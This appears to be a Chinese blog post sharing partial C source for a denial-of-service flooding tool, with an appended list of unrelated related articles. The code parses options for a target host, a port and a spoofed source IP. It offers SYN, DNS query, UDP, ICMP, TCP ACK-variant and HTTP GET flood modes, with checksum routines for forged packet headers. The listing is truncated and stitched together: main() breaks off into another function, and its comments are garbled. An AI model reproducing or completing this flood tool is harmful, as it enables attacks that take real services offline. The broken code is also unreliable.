不废话,直接上代码,

先看截图use pictures;

2.source code

部分主要代码

void help_length(void)
{
    printf("\n This is not the correct format about option \" -l \".\n"
           " format: \" :<number> | <number>: | <number_1>:<number_2> \"\n\n");
    exit (1);
}

static unsigned short inline checksum(unsigned short *buffer,int size);
unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size);

unsigned short proto_data_len=0;
char * get_rand_str(char * __proto_char,unsigned short __proto_char_len,\
                    char * __proto_str,int str_len);
char * get_rand_dn (char *__str_str,int len);
void send_tcp      (int sockfd,struct sockaddr_in *addr,char *mode);
void send_udp      (int sockfd,struct sockaddr_in *addr);
void send_icmp     (int sockfd,struct sockaddr_in *addr);
void send_udp_frag (int sockfd,struct sockaddr_in *addr);
void send_dns_query_flood (int sockfd,struct sockaddr_in *addr);
void build_dns_querybuf (char *name_str);
void build_dns_querybuf_random (char *_str_one,char *_str_second,char *_str_suffix,char *_str_str);
void send_get_flood(int sockfd,char *uri,int send_count);
void send_synclink (int sockfd,struct sockaddr_in *addr);
void send_packets_delay();

void sig_int   (int sigo);
//static void *pthread_func(void *vptr_args);

fd_set rset,drset;

struct protocol_fake_header {
    unsigned long saddr;
    unsigned long daddr;
    char mbz;
    char proto;
    unsigned short header_len;
};

struct icmphdr {
 char type;
 char code;
 unsigned short checksum;
 unsigned short id;
 unsigned short seq;
};

struct dnshdr_prefix {
 unsigned short id;         /* random() */
 unsigned short flags;      /* 0x0100 */
 unsigned short questions;  /* 0x0001 */
 unsigned short answers;    /* 0x0000 */
 unsigned short author;     /* 0x0000 */
 unsigned short addition;   /* 0x0000 */
};

struct dnshdr_suffix {
 unsigned short int type;     /* 0x0001 */
 unsigned short int class;    /* 0x0001 */
};

int i = 0;
 int a = 0;
 int port;
 int count=0;
 int nw;
 int n=0;

int gsockfd[MAX_SOCKFD];
 unsigned int send_get_number=0;
 unsigned short hostname_len;
 unsigned short iph_len;
 unsigned short tcph_len;
 unsigned short udph_len;
 unsigned short icmph_len;
 unsigned short dnsh_prefix_len;
 unsigned short dnsh_center_len;
 unsigned short dnsh_len;
 unsigned short data_len=0;
 unsigned short pkg_len;      /* length of iphdr + udphdr + dnshdr + querybuf + suffix(4) */

unsigned long packet_delay=0;
 char number ;
 char * QueryBuf;
 unsigned len_a=0,len_b;
 char _domain_name_char[]="0123456789abcdefghijklmnopqrstuvwxyz";
 char * p_str; /* used by Fun build_dns_querybuf */
 char * dn_suffix[]={"null","com","cn","net","org","gov","cc","biz"};
 char p_str_center[256];
 unsigned dn_suffix_tnum=6;
 unsigned short dn_suffix_num;
 char dn_suffix_len;
 unsigned long sum=0;

unsigned long int send_count=0;
 char PRINT_MODE[20]="SYN Flood";         /* 鏄剧ず鏇翠负鐞嗚В鐨勬敾鍑荤被鍨?鐢ㄥ湪绋嬪簭杩愯鏃舵樉绀?*/
 char *pbuf;
 char datasize[60];

char *pds;                   /* used by datasize */
 unsigned short int  data_size_max=0;
 unsigned short int  data_size_min=0;
 unsigned short int  tcp_syn_data_size_max=TCP_SYN_DATA_SIZE_MAX;
 unsigned short int  tcp_syn_data_size_min=TCP_SYN_DATA_SIZE_MIN;
 unsigned short int  udp_data_size_max;
 unsigned short int  udp_data_size_min;
 unsigned short int  icmp_data_size_max=ICMP_DATA_SIZE_MAX;
 unsigned short int  icmp_data_size_min=ICMP_DATA_SIZE_MIN;
 int sockfd;
 int dn;
 int i,ii;
 int _proto_char_len;
 char proto_data[1460]="rand";
 char buffer[1501]; /* store data from gsockfd[i] (server ) */
 char buf[20];
 int buf_len;
 char ipdata[20];
 char srcip[20];
 char domainname[50];
 char hostname[50];
 char hostport[8];
 char uri[1024]=URI;
 char mode[8]=MODE;
 char http_head_get[1024]=HTTP_HEAD_GET;

struct sockaddr_in to;
 struct hostent *host;

struct timeval tv,pdelay;
 struct timeval pstart,pend;
 unsigned long int pdelay_sec=0,pdelay_usec=0;
 float  timeuse;

struct iphdr *iph;
 struct udphdr *udph;
 struct dnshdr_prefix *dnsh_prefix;
 struct dnshdr_suffix *dnsh_suffix;

/*  ============= Main Function ========= */
int main(int argc,char **argv)
{
    if(argc!=3 && argc!=5 && argc!=7 && argc!=9 && argc!=11 && argc != 13 && argc != 15)
        help();
    int on=1;
    bzero(ipdata,20);
    bzero(srcip,20);
    bzero(&to,sizeof(to));
    int cn;
    
    while((cn=getopt(argc,argv,"c:m:h:p:S:s:u:l:d:"))!=EOF)
    {
    switch(cn)
    {
    case 'm':
        strcpy(mode,optarg);
        if(strcmp((mode),"syn")==0) {
            strcpy(PRINT_MODE,"SYN Flood");
            break;
            }
        if(strcmp((mode),"asyn")==0) {
            strcpy(PRINT_MODE,"SYN+ACK Flood");
            break;
            }
        if(strcmp((mode),"dsyn")==0) {
            strcpy(PRINT_MODE,"SYN+data Flood");
            break;
            }
        if(strcmp((mode),"dns")==0) {
            strcpy(PRINT_MODE,"DNS Query Flood");
            break;
            }
        if(strcmp((mode),"udp")==0) {
            strcpy(PRINT_MODE,"UDP Flood");
            break;
            }
        if(strcmp((mode),"icmp")==0) {
            strcpy(PRINT_MODE,"ICMP ECHO Flood");
            break;
            }
        if(strcmp((mode),"ufrag")==0) {
            strcpy(PRINT_MODE,"UDP Frag Flood");
            break;
            }
        if(strcmp((mode),"ack")==0) {
            strcpy(PRINT_MODE,"TCP ACK Flood");
            break;
            }
        if(strcmp((mode),"pack")==0) {
            strcpy(PRINT_MODE,"TCP PSH ACK Flood");
            break;
            }
        if(strcmp((mode),"rack")==0) {
            strcpy(PRINT_MODE,"TCP RST ACK Flood");
            break;
            }
        if(strcmp((mode),"fack")==0) {
            strcpy(PRINT_MODE,"TCP FIN ACK Flood");
            break;
            }
        if(strcmp((mode),"gack")==0) {
            strcpy(PRINT_MODE,"HTTP GET ACK Flood");
            break;
            }
        if(strcmp((mode),"gfld")==0) {
            strcpy(PRINT_MODE,"HTTP GET Flood");
            break;
            }
        if(strcmp((mode),"synclink")==0) {
            strcpy(PRINT_MODE,"Sync Link test");
            break;
            }
        else
            help();
        break;
    case 'h':
        strcpy(hostname,optarg);
        hostname_len=strlen(hostname);
        if(isdigit(hostname[hostname_len-1])) {
            to.sin_addr.s_addr=inet_addr(hostname);
            strcpy(ipdata,hostname);
            }
        else if((host=gethostbyname(hostname))==NULL) {
                printf(" resolv ip failed.\n");
                exit(1);
                }
            else {
                inet_ntop(AF_INET,host->h_addr_list[0],ipdata,sizeof(ipdata));
                    to.sin_addr.s_addr=inet_addr(ipdata);
                }
        break;
    case 'p':
        strcpy(hostport,optarg);
        break;
    case 'S':
        strcpy(srcip,optarg);
        break;
    case 'c':
        send_count=atoi(optarg);
        break;
    case 'u':
        strcpy(uri,optarg);
        break;
    case 's':
        strncpy(proto_data,optarg,strlen(optarg));
        break;
    case 'd':
        strcpy(buf,optarg);
        buf_len=strlen(buf);
        if(buf[buf_len-2]=='m' && buf[buf_len-1]=='s') {
            buf[buf_len-2]=0;    
            pdelay_sec=0;
            pdelay_usec=(long int)atoi(buf);
            }
        else if(buf[buf_len-1]=='s') {
            buf[buf_len-1]=0;    
            pdelay_sec=atoi(buf);
            pdelay_usec=0;
            }
            else if(isdigit(buf[buf_len-1])) {
                    pdelay_sec=0;
                    pdelay_usec=(long int)atoi(buf);
                    }
                else {printf(" enter time error.\n");exit(1);}
        break;
    case 'l':
        strcpy(datasize,optarg);
        if( (48 <= datasize[0] && datasize[0] <=58) && (48 <= datasize[strlen(datasize)-1] && datasize[strlen(datasize)-1]<= 58) )
            if( datasize[0]==':' ) {                           /*    :20   */
                pds=strtok(datasize,":");
                if(pds !=NULL) { data_size_min=DATA_SIZE_MIN; data_size_max=atoi(pds); }
                else  help_length();
                }
            else if( datasize[strlen(datasize)-1] == ':' ) {   /*   4:   */
                pds=strtok(datasize,":");
                if(pds != NULL) { data_size_min=atoi(pds); data_size_max=DATA_SIZE_MAX;}
                else  help_length();
                }
            else {                                             /*    5:9    */
                pds=strtok(datasize,":");
                if(pds != NULL)  data_size_min=atoi(pds);
                pds=strtok(NULL,":");
                if(pds != NULL)  data_size_max=atoi(pds);
                }
        else {
            }

if( data_size_max == 0) data_size_max=data_size_min;
        if( data_size_max<data_size_min)
            {
            printf(" data_size_min(100) > data_size_max(%d) !!!\n",data_size_max);
            exit (1);
            }
        if( data_size_max>1460)
            {
            printf(" data_size_max is 1460 !\n");
            exit (1);
            }
        break;
    default:
        help();
        break;        
    }
    }

if (data_size_min == 0 && data_size_max == 0)
        {
        data_size_min=DATA_SIZE_MIN;
        data_size_max=DATA_SIZE_MAX;
        }
//        printf(" datasize min=%d max=%d\n",data_size_min,data_size_max);
/* 寰楀埌闅忔満鐨勫煙鍚嶅瓧绗?*/    
char * get_rand_dn (char *___str_str,int str_len)
{
    int len=strlen(_domain_name_char);

for (ii=0;ii<str_len;ii++){
       ___str_str[ii]=_domain_name_char[rand()%(len-1)+1];
    }

//  printf (" over for \n");
  return ___str_str;
}

void send_packets_delay( )
{
    
  pdelay.tv_sec=pdelay_sec;
  pdelay.tv_usec=pdelay_usec;
#ifdef DEBUG
  printf(" pdelay.sec=%ld\n",pdelay.tv_sec);
  printf(" pdelay.usec=%ld\n",pdelay.tv_usec);
#endif

FD_ZERO(&drset);
  FD_SET(sockfd,&drset);
 
  select(sockfd+1,NULL,NULL,NULL,&pdelay);
}

/* ============ Pthread Function =========== */
/* static void *pthread_func(void *vptr_args)
{
    printf("  enter pthread[]\n");
     int sockfd;
    fd_set rset;
    if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0){
        printf(" create sockfd error from pthread_fun.\n");    
        pthread_exit("Thank you for the CPU time");
        }
    a=connect(sockfd,(struct sockaddr *)&to,sizeof(to));
    if(a==0)
        {
          write(sockfd,http_head_get,strlen(http_head_get));
        printf(" send get request to server .\n");
        
         select
        tv.tv_sec=0;
        tv.tv_usec=5;
        FD_ZERO(&rset);
        FD_SET(sockfd,&rset);
        select(sockfd+1,&rset,NULL,NULL,&tv);
         while (1)
            {
            nw++;
            if(FD_ISSET(sockfd,&rset)) {
                printf("  enter while\n");
                n=read(sockfd,buffer,1500);
                printf(" read data ....");
                if(n==0) {
                    printf(" Accept fin and close sockfd[]\n");
                    close(sockfd);
                    FD_CLR(sockfd,&rset);
                    break;
                    }
                if(n<0) {
                    printf(" Accept rst and close sockfd[]\n");
                    close(sockfd);
                    FD_CLR(sockfd,&rset);
                    break;
                    }
                else
                    printf("read data\n");
*/
//                } /* end of if(FD_ */
/*            else

printf("  not can be read \n");
            } */ /* end of while */
//        }    /* end of if(a==0) */
/*    else
        {
        
        printf(" connect_status:%d  errno=%d close_sockfd[]\n\n",a,errno);
        close(sockfd);
        }
    send_get_number++;
return 0;
}
*/

/* =============== check sum function =============== */

static unsigned short inline checksum(unsigned short *buffer,int size){

unsigned long cksum = 0;
    
    while(size>1){
        cksum += *buffer++;
        size  -= sizeof(unsigned short);
    }
    
    if(size){
        cksum += *(unsigned char *)buffer;
    }
    
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >> 16);        
    
    return((unsigned short )(~cksum));
}

unsigned int inline check_sum(char *proto,unsigned long saddr, unsigned long daddr, unsigned short *buffer, int size)
{
char *buf;
struct protocol_fake_header *pfh;
int pfh_len = sizeof(struct protocol_fake_header);

buf = (char *)malloc(pfh_len+size);
pfh = (struct protocol_fake_header *)buf;
memcpy(buf+pfh_len,buffer,size);

pfh->saddr = saddr;
pfh->daddr = daddr;
pfh->mbz = 0;

if(strcmp(proto,"tcp")==0) {
    pfh->proto = IPPROTO_TCP;
    pfh->header_len = htons(tcph_len);
    }

if(strcmp(proto,"udp")==0) {
    pfh->proto = IPPROTO_UDP;
    pfh->header_len = htons(udph_len);
    }

sum = checksum((unsigned short*)buf,pfh_len+size);
free(buf);
return (sum);
}

attack source code的更多相关文章

  1. Source Code Review

    1.berfore we talking abnout the Source Code review,here's what we want to know about the most popula ...

  2. Tips for newbie to read source code

    This post is first posted on my WeChat public account: GeekArtT Reading source code is always one bi ...

  3. 编程等宽字体Source Code Pro(转)

    Source Code Pro - 最佳的免费编程字体之一!来自 Adobe 公司的开源等宽字体下载     每一位程序员都有一套自己喜爱的代码编辑器与编程字体,譬如我们之前就推荐过一款"神 ...

  4. How to build the Robotics Library from source code on Windows

    The Robotics Library is an open source C++ library for robot kinematics, motion planning and control ...

  5. How to build windows azure PowerShell Source Code

    Download any version source code of Windows Azure Powershell from https://github.com/Azure/azure-sdk ...

  6. akka cluster sharding source code 学习 (1/5) 替身模式

    为了使一个项目支持集群,自己学习使用了 akka cluster 并在项目中实施了,从此,生活就变得有些痛苦.再配上 apache 做反向代理和负载均衡,debug 起来不要太酸爽.直到现在,我还对 ...

  7. view class source code with JAD plugin in Eclipse

    The default class viewer doesn't decompile the class file so you cannot open and check the source co ...

  8. Classic Source Code Collected

    收藏一些经典的源码,持续更新!!! 1.深度学习框架(Deep Learning Framework). A:Caffe (Convolutional Architecture for Fast Fe ...

  9. Attach source code to a Netbeans Library Wrapper Module

    http://rubenlaguna.com/wp/2008/02/22/attach-source-code-to-a-netbeans-library-wrapper-module/ Attach ...

随机推荐

  1. Hihocoder1883 : 生成树问题(并查集+树剖+线段树)

    描述 有一个无向图,有n个点,m1条第一类边和m2条第二类边.第一类边有边权,第二类边无边权.请为第二类的每条边定义一个边权,使得第二类边可能全部出现在该无向图的最小生成树上,同时要求第二类边的边权总 ...

  2. Math类的学习 java 类库 API 文档学习

  3. day30 python学习 struct模块和 subprocess 模块

    import subprocess import struct aa=input('>>') obj=subprocess.Popen(aa,shell=True,#aa代表的是读取字符串 ...

  4. pyotherside 试用

    pyotherside 试用 这是啥?用python写qt 步骤:安装qt: http://www.qt.io/download-open-source/#section-2安装python3:下载源 ...

  5. post请求(headers里有属性)报错:Request header field xxx is not allowed by Access-Control-Allow-Headers in preflight response

    post 请求,headers里有属性(xxx).请求时报错: XMLHttpRequest cannot load <url>. Request header field xxx is ...

  6. spring boot 项目文件结构

    启动类建议放在RootPackage的原因: 根据SpringBoot的内置实现,Spring默认从@ComponentScan注解所在的位置开始向后扫描,也就是说,只要我们将组件放在启动类所在的Ro ...

  7. Ubuntu 安装lrzsz工具

    rz(上传) sz(下载)) 1. 安装 sudo apt-get install lrzsz 2. rz可覆盖原文件 rz -y

  8. listener does not currently know of 。。。。

    打开Oracle的 listener.ora 文件: (../oracle/product/10.2.0/db_1/network/admin/listener.ora) 设置环境变量: Oracle ...

  9. 什么是JavaBean、bean? 什么是POJO、PO、DTO、VO、BO ? 什么是EJB、EntityBean?

    什么是JavaBean.bean?  什么是POJO.PO.DTO.VO.BO ?  什么是EJB.EntityBean?   前言:   在Java开发中经常遇到这些概念问题,有的可能理解混淆,有的 ...

  10. android 布局入门

    一.LinearLayout RelativeLayout 这俩的区别详见这里 http://www.cnblogs.com/duanweishi/p/4244233.html 二.android:l ...